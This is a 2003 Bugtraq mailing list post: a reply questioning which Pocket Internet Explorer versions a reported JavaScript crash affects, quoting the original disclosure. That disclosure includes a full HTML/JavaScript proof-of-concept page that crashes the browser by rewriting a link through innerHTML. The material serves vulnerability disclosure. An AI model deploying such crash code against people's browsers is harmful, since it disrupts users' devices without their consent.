Bugtraq mailing list archives
Re: JS Bug makes it possible to deliberately crash Pocket PC IE (fwd)
From: angus () onnow net
Date: Fri, 3 Jan 2003 10:17:06 -0500
Can you be specific about what version of PIE you tested this vulnerability on? If you look at the following web pages you will see that PIE only supports a few HTML tags. http://support.microsoft.com/default.aspx?scid=kb;en-us;Q161319 http://support.microsoft.com/default.aspx?scid=kb;EN-US;158479 Specifically the <SCRIPT> tag is not supported in PIE 1.0, 1.1 and 2.0. Only PIE 3.0 supports the <SCRIPT> tag. Does PIE 3.0 crash?
PROBLEM DESCRIPTION: Calling a javascript from an object written to same page with the object.innerHTML function causes Pocket Internet Explorer (PIE from now on) to crash. SOFTWARE AFFECTED: Only PIE is affected, "regular" IE will show the pages as intented. EXAMPLE: <html> <head> <title>Crash PIE</title> <script language="Javascript"> function displayPage(page){ if(page=="onload"){ main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash me</a>"; } if(page=="crash"){ main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">You are going down!</a>"; } } </script> </head> <body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body></html> SOLUTIONS: no known patch available Problem was reported to MS (Norway) 2nd of January 2003. Chris
Current thread:
- Re: JS Bug makes it possible to deliberately crash Pocket PC IE (fwd) angus (Jan 03)